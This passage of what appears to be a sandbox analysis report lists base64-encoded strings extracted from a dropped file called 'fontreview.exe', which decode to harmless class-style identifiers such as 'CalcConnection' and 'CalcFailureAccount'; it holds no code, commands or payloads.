File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0Nvbm5lY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0NvbnN1bWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0NvbnRhaW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0NvbnRleHQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0NyZWF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0N1c3RvbWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0RhdGFiYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0RlY29yYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0RlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0Rlc2NyaXB0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0Rpc3BhdGNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0Vycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0V2ZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0V4Y2VwdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0V4cHJlc3Npb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhY3Rvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVBY2NvdW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVBZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVBbm5vdGF0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVBdHRy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVBdHRyaWJ1dGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVBdXRoZW50aWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVCcm9hZGNhc3Rlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDYWxsYmFjaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDYW5kaWRhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb2xsZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb21wYXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb21wb3Nlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb25maWd1cmF0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb25uZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb25zdW1lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb250YWluZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb250ZXh0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDcmVhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDdXN0b21lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVEYXRhYmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVEZXNjcmlwdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVEaWM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVEaXNwYXRjaGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVFdmVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVFeHBvcnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVFeHByZXNzaW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVGYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVGYWN0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVGaWVsZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVHZXR0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVIZWxwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJZGVudGlmaWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJbmZv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJbml0aWFsaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJbnN0YW5jZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJbnRlcmNlcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJbnRlcnByZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJbnZvY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVMaXN0ZW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVNYXBwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVNZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVNZXNzYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVNZXRob2Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVNb2Nr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVPcmRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQYXJhbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQYXJzZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQb29s","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQcmVkaWNhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQcmludGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQcm9jY2Vzb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQcm9jZXNz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQcm9kdWNlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQcm9kdWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQcm94eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVRdWV1ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZWFkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZWNvcmQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZWY=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZWdpc3RyeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSdWxl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSdWxlcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTZXJpYWxpemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTZXR0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTaW5nbGV0b24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTdGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTdGF0dXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTdHJhdGVneQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTdHJ1Y3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUYXNr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUZW1wbGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUZXN0cw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUb2tlbml6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVWYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVWYWx1ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVWaXNpdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVXYXRjaGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVXcmFwcGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVXcml0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZpZWxk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0dldHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0dsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0hlbHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0lkZW50aWZpZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ltcG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0luZGV4ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0luaXRpYWxpemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0luc3RhbmNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ludGVyY2VwdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ludGVycHJldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ludm9jYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0lzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0l0ZW0=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0l0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0xpc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0xpc3RlbmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY01hcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY01hcHBpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY01lcmNoYW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY01lc3NhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY01ldGhvZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY09iamVjdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY09yZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1BhcmFt","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1BhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1BvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1ByZWRpY2F0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1ByaW50ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1Byb2NjZXNvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1Byb2Nlc3M=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1Byb2R1Y2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1Byb2R1Y3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1Byb3RvdHlwZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1Byb3h5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1B1Ymxpc2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1F1ZXVl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1JlYWRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1JlZ2lzdHJ5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1JlcG9uc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1JlcG9zaXRvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1JlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1J1bGVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1NjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1NlcmlhbGl6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1NlcnZlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1NldHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1NpbmdsZXRvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1NwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1N0YXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1N0YXR1cw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1N0cmF0ZWd5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1N0cnVjdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1N0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1N5c3RlbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1RlbXBsYXRl","type":"Ansi","source":"Dropped 